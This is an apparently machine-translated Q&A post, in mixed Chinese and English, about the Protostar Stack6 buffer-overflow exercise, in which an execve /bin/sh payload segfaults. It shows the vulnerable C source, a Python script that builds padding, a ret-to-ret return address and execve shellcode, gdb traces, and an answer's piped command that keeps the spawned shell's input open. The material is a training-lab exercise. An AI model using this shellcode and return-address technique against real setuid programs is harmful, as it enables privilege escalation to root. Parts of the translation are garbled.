Protostar Stack6 - 无缘无故的段错误?

Protostar Stack6 - Segfault for no reason?

所以我正在做 exploit exercises 的原星挑战,我完全被难住了。 Protostar 运行s 在模拟 i686 处理器的虚拟机上。

uname -a
Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

挑战涉及注入格式错误的用户提供的输入以允许 root 访问。可执行文件设置了 setuid 标志并拥有所有者 root。我通过 /tmp/mypipe

中的命名管道提供输入

在 gdb 中 运行

set disassembly-flavor intel
run < /tmp/mypipe

当我在 RET 指令的 getpath() 函数末尾设置断点并向前一步时,一切都按预期进行。我的 shell 代码被执行了。我确认说明与 the source 上的文档完全相同。 (使用带 x/2i $eip 的停止挂钩并单步执行汇编程序)。在 noop sled 和前几条指令下一切正常,直到中断 0x80(系统调用)(0xcd 0x80)。
有趣的是 gdb 宣布:

Executing new program: /bin/dash

Program received signal SIGSEGV, Segmentation fault.

在那之后什么都没有了。 运行 它再次使用相同的输入只是段错误。尝试 disassemble main 会产生 No symbol "main" in current context.
一旦我关闭 GDB 并重新启动,它会给出与以前相同的行为。没有 shell 实际上是可交互的。从命令行使用相同的有效负载只会产生段错误。

我尝试了很多用 msfvenom 制作的 payload,都是针对 x86 linux 使用不同的编码器,禁止 0x00、0x0a 和 0x0d。我尝试将小的有效负载放入缓冲区,我尝试将它们放在主堆栈框架中及以后的 return 地址后面。我尝试的一切都给我一个段错误。我很困惑为什么这不起作用。这可能与在堆栈上覆盖 EBP 然后 returning 两次有关吗?但是 LEAVE 没有被执行两次,只有 RET.

怎么回事?

挑战代码是这样的:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;
  printf("input path please: "); fflush(stdout);
  gets(buffer);

  ret = __builtin_return_address(0);
  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

程序逻辑禁止跳转到堆栈。所以很明显你必须跳到别的地方。 我的想法是跳转到 getpath() 末尾的 RET 指令,基本上是从堆栈中弹出另一个地址到 EIP 中,该地址不被程序逻辑检查。

原来从栈顶buf开始到栈上return指针的第一个字节有80B

我生成格式错误的输入的代码如下所示。

# execenv 28B from http://shell-storm.org/shellcode/files/shellcode-811.php
buf = b"" 
buf += b"\x31\xc0\x50\x68\x2f\x2f\x73"
buf += b"\x68\x68\x2f\x62\x69\x6e\x89"
buf += b"\xe3\x89\xc1\x89\xc2\xb0\x0b"
buf += b"\xcd\x80\x31\xc0\x40\xcd\x80"

# start of buffer = 0xbffff64c
# EIP return on stack = 0xbffff69c
# difference = 80 B

padding = "A"*80

# use noop sled to avoid changing environment variables etc to mess with alignment
noop = (b"\x90")*0x40

# addr of ret command (getpath function)
eip = b"\x08\x04\x84\xf9"
eip = eip[::-1]

# shell code position
eip2 = b"\xbf\xff\xf6\xb0"
eip2 = eip2[::-1]

print (padding + eip + eip2 + noop + buf)

注意:eip = eip[::-1]颠倒了字节顺序,因为 intel x86 是小端。

编辑:

这里是更详细的机器状态。

disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   ebp
0x08048485 <getpath+1>: mov    ebp,esp
0x08048487 <getpath+3>: sub    esp,0x68
0x0804848a <getpath+6>: mov    eax,0x80485d0
0x0804848f <getpath+11>:    mov    DWORD PTR [esp],eax
0x08048492 <getpath+14>:    call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:    mov    eax,ds:0x8049720
0x0804849c <getpath+24>:    mov    DWORD PTR [esp],eax
0x0804849f <getpath+27>:    call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:    lea    eax,[ebp-0x4c]
0x080484a7 <getpath+35>:    mov    DWORD PTR [esp],eax
0x080484aa <getpath+38>:    call   0x8048380 <gets@plt>
0x080484af <getpath+43>:    mov    eax,DWORD PTR [ebp+0x4]
0x080484b2 <getpath+46>:    mov    DWORD PTR [ebp-0xc],eax
0x080484b5 <getpath+49>:    mov    eax,DWORD PTR [ebp-0xc]
0x080484b8 <getpath+52>:    and    eax,0xbf000000
0x080484bd <getpath+57>:    cmp    eax,0xbf000000
0x080484c2 <getpath+62>:    jne    0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:    mov    eax,0x80485e4
0x080484c9 <getpath+69>:    mov    edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>:    mov    DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>:    mov    DWORD PTR [esp],eax
0x080484d3 <getpath+79>:    call   0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:    mov    DWORD PTR [esp],0x1
0x080484df <getpath+91>:    call   0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:    mov    eax,0x80485f0
0x080484e9 <getpath+101>:   lea    edx,[ebp-0x4c]
0x080484ec <getpath+104>:   mov    DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>:   mov    DWORD PTR [esp],eax
0x080484f3 <getpath+111>:   call   0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:   leave  
0x080484f9 <getpath+117>:   ret
End of assembler dump.
(gdb) b *0x080484f9
Breakpoint 1 at 0x80484f9: file stack6/stack6.c, line 23.
(gdb) run < /tmp/mypipe 
Starting program: /opt/protostar/bin/stack6 < /tmp/mypipe
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[... bunch of gibberish that can't be printed as text]

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  stack6/stack6.c: No such file or directory.
    in stack6/stack6.c
(gdb) x /32wx $esp
0xbffff69c: 0x080484f9  0xbffff6b0  0x90909090  0x90909090
0xbffff6ac: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6bc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6cc: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6dc: 0x90909090  0x90909090  0x6850c031  0x68732f2f
0xbffff6ec: 0x69622f68  0x89e3896e  0xb0c289c1  0x3180cd0b
0xbffff6fc: 0x80cd40c0  0x00000000  0x00000000  0x00000001
0xbffff70c: 0x080483d0  0x00000000  0xb7ff6210  0xb7eadb9b

如您所见,函数跳过了 bzzz + 退出,因为 return 地址通过了检查。下一条指令是 ret returns 到 0x080484f9($esp 的堆栈顶部)。这是ret.

前进一大步

(gdb) stepi
eip            0x80484f9    0x80484f9 <getpath+117>
esp            0xbffff6a0   0xbffff6a0
eax            0xbe 190
ebx            0xb7fd7ff4   -1208123404
0x80484f9 <getpath+117>:    ret    
0x80484fa <main>:   push   ebp
0xbffff6a0: 0xbffff6b0  0x90909090  0x90909090  0x90909090
0xbffff6b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6d0: 0x90909090  0x90909090  0x90909090  0x90909090

Breakpoint 1, 0x080484f9 in getpath () at stack6/stack6.c:23
23  in stack6/stack6.c

还有一个

Cannot access memory at address 0x41414145

我不确定这是怎么回事,也不知道为什么挂钩停止器没有触发,也不知道 0x45 是从哪里来的,但是

(gdb) i r
eax            0xbe 190
ecx            0x0  0
edx            0xb7fd9340   -1208118464
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6a4   0xbffff6a4
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0xbffff6b0   0xbffff6b0
eflags         0x200296 [ PF AF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

如您所见,EIP 指向 noop sled。

(gdb) x /60i $eip
0xbffff6b0: nop
0xbffff6b1: nop
0xbffff6b2: nop
[snip]
0xbffff6e2: nop
0xbffff6e3: nop
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb

从那里它可以很好地执行到 int 80,在那里它会出现段错误。

(gdb) x /12i $eip
[skipping all the nops up to here]
0xbffff6e4: xor    eax,eax
0xbffff6e6: push   eax
0xbffff6e7: push   0x68732f2f
0xbffff6ec: push   0x6e69622f
0xbffff6f1: mov    ebx,esp
0xbffff6f3: mov    ecx,eax
0xbffff6f5: mov    edx,eax
0xbffff6f7: mov    al,0xb
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff6fd: inc    eax
0xbffff6fe: int    0x80
(gdb) 
eip            0xbffff6f9   0xbffff6f9
esp            0xbffff698   0xbffff698
eax            0xb  11
ebx            0xbffff698   -1073744232
0xbffff6f9: int    0x80
0xbffff6fb: xor    eax,eax
0xbffff698: 0x6e69622f  0x68732f2f  0x00000000  0x90909090
0xbffff6a8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6b8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6c8: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff6f9 in ?? ()
(gdb) 
Executing new program: /bin/dash

Program received signal SIGSEGV, Segmentation fault.
eip            0x805925e    0x805925e
esp            0xbffffcd0   0xbffffcd0
eax            0x3e9    1001
ebx            0xb7fd7ff4   -1208123404
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0xbffffcd0: 0x00000011  0x00000000  0x00000000  0xbffffd70
0xbffffce0: 0xbffffd28  0xbffffd34  0x00000000  0xb7fff8f8
0xbffffcf0: 0x00000000  0xb7ffc3e1  0xb7ffb8bc  0x08048bdd
0xbffffd00: 0x00000000  0xb7fe3494  0xbffffd44  0xb7fe3612
0x0805925e in ?? ()

(gdb) x /5i 0x805925e
0x805925e:  mov    ebx,DWORD PTR [esi]
0x8059260:  test   ebx,ebx
0x8059262:  je     0x8059295
0x8059264:  lea    esi,[esi+eiz*1+0x0]
0x8059268:  mov    DWORD PTR [esp+0x4],0x3d
(gdb) i r
eax            0x3e9    1001
ecx            0xa  10
edx            0x805c340    134595392
ebx            0xb7fd7ff4   -1208123404
esp            0xbffffcd0   0xbffffcd0
ebp            0xbffffd98   0xbffffd98
esi            0x0  0
edi            0x0  0
eip            0x805925e    0x805925e
eflags         0x210282 [ SF IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

编辑 2:

I 运行 来自文件而不是管道的漏洞利用。我得到一个奇怪的结果。我仍然不知道该怎么做。

(gdb) run < /tmp/exploit 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA���������������������������������������������������������������������1�Ph//shh/bin����°
                1�@̀
Executing new program: /bin/dash

Program exited normally.
Error while running hook_stop:
The program has no registers now.

当管道或路由输入到程序中时,当提供的源位于其输出的末尾或终止时,stdin 基本上不复存在。因此你不会得到 shell.

Disassemble main 在具有该行为的实例中不再起作用,因为 gdb 加载的程序不再是 stack6,而是 /bin/sh。再次执行 运行 将执行 /bin/sh.

我不知道为什么程序在管道输入 运行 输出时出现段错误。但是对于文件,中断 80 没有出现段错误,之后它 运行 中断 80,eax = 1 调用 exit(ebx),导致正常终止。

要执行漏洞利用,您需要 shell 不需要标准输入的代码,例如 metasploit 反向 tcp 绑定 shell 或者您需要在漏洞执行后提供连续输入.例如像这样:

(cat /tmp/exploit; cat) | ./stack6

这将首先将漏洞利用程序输入到程序中,然后要求用户在标准输入 (cat) 上输入更多内容,然后通过管道将其传递给程序。